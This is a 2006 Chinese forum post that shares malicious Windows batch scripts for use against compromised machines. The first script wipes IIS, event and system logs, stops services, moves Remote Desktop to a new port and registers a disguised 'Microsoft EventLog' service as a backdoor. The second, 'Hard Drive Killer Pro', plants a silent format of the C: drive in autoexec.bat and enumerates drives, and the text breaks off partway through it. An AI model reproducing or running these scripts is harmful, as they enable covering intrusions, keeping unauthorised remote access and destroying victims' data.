|
楼主 |
发表于 2006-1-24 07:06:33
|
显示全部楼层
来自:福建宁德
------------------------ cut here then save as .bat or .cmd file --------------------------- <BR><BR><BR><BR>下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。 <BR>@regedit /s patch.dll <BR>@net stop w3svc <BR>@net stop event log <BR>@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q <BR>@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q <BR>@del c:\winnt\system32\config\*.event /f /q <BR>@del c:\winnt\system32dtclog\*.* /f /q <BR>@del c:\winnt\*.txt /f /q <BR>@del c:\winnt\*.log /f /q <BR>@net start w3svc <BR>@net start event log <BR>@rem [删除日志] <BR><BR><BR><BR><BR>@net stop lanmanserver /y <BR>@net stop Schedule /y <BR>@net stop RemoteRegistry /y <BR>@del patch.dll <BR>@echo The server has been patched,Have fun. <BR>@del patch.bat <BR>@REM [禁止一些危险的服务。] <BR><BR><BR><BR>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll <BR>@echo "PortNumber"=dword:00002010 >>patch.dll <BR>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll <BR>@echo "PortNumber"=dword:00002012 >>patch.dll <BR>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll <BR>@echo "Start"=dword:00000002 >>patch.dll <BR>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll <BR>@echo "Start"=dword:00000002 >>patch.dll <BR>@echo "ErrorControl"=dword:00000001 >>patch.dll <BR>@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll <BR>@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll <BR>@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll <BR>@echo "ObjectName"="LocalSystem" >>patch.dll <BR>@echo "Type"=dword:00000010 >>patch.dll <BR>@echo "Description"="Keep record of the program and windows" message。" >>patch.dll <BR>@echo "DisplayName"="Microsoft EventLog" >>patch.dll <BR>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll <BR>@echo "Start"=dword:00000004 >>patch.dll <BR>@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe <BR>@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路] <BR><BR><BR><BR>3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。) <BR>------------------------ cut here then save as .bat or .cmd file --------------------------- <BR>@echo off <BR>rem This program is dedecated to a very special person that does not want to be named. <BR>:start <BR>cls <BR>echo PLEASE WAIT WHILE PROGRAM LOADS . . . <BR>call attrib -r -h c:\autoexec.bat >nul <BR>echo @echo off >c:\autoexec.bat <BR>echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat <BR>call attrib +r +h c:\autoexec.bat >nul <BR>rem Drive checking and assigning the valid drives to the drive variable. <BR><BR><BR><BR>set drive= <BR>set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z <BR><BR><BR><BR><BR>rem code insertion for Drive Checking takes place here. <BR>rem drivechk.bat is the file name under the root directory. <BR>rem As far as the drive detection and drive variable settings, don"t worry about how it <BR>rem works, it"s d\*amn to complicated for the average or even the expert batch programmer. <BR>rem Except for Tom Lavedas. <BR><BR><BR><BR>echo @echo off >drivechk.bat <BR>echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat <BR>%comspec% /e:2048 /c {t}.bat >>drivechk.bat <BR>del {t}.bat <BR>echo if errorlevel 1 goto enddc >>drivechk.bat <BR><BR><BR><BR>cls <BR>echo PLEASE WAIT WHILE PROGRAM LOADS . . . <BR><BR><BR><BR>rem When errorlevel is 1, then the above is not true, if 0, then it"s true. <BR>rem Opposite of binary rules. If 0, it will elaps to the next command. <BR><BR><BR><BR>echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat <BR>%comspec% /e:2048 /c {t}.bat >>drivechk.bat <BR>del {t}.bat <BR>echo if errorlevel 1 goto enddc >>drivechk.bat <BR><BR><BR><BR>cls <BR>echo PLEASE WAIT WHILE PROGRAM LOADS . . . <BR><BR><BR><BR>rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. <BR>rem if errorlevel is 0, then it will elaps to the next command. <BR><BR><BR><BR>echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat <BR>%comspec% /e:2048 /c {t}.bat >>drivechk.bat <BR>del {t}.bat <BR>echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat <BR><BR><BR><BR>cls <BR>echo PLEASE WAIT WHILE PROGRAM LOADS . . . <BR><BR><BR><BR>rem if it"s errorlevel 1, then the specified drive is a hard or floppy drive. <BR>rem if it"s not errorlevel 1, then the specified drive is a CD-ROM drive. <BR><BR><BR><BR>echo :enddc >>drivechk.bat <BR><BR><BR><BR>rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". <BR><BR><BR><BR>rem Now we will use the program drivechk.bat to attain valid drive information. <BR><BR><BR><BR>:Sampledrv <BR><BR><BR><BR>for %%a in (%alldrive%) do call drivechk.bat %%a >nul <BR>del drivechk.bat >nul <BR>if %drive.==. set drive=c |
|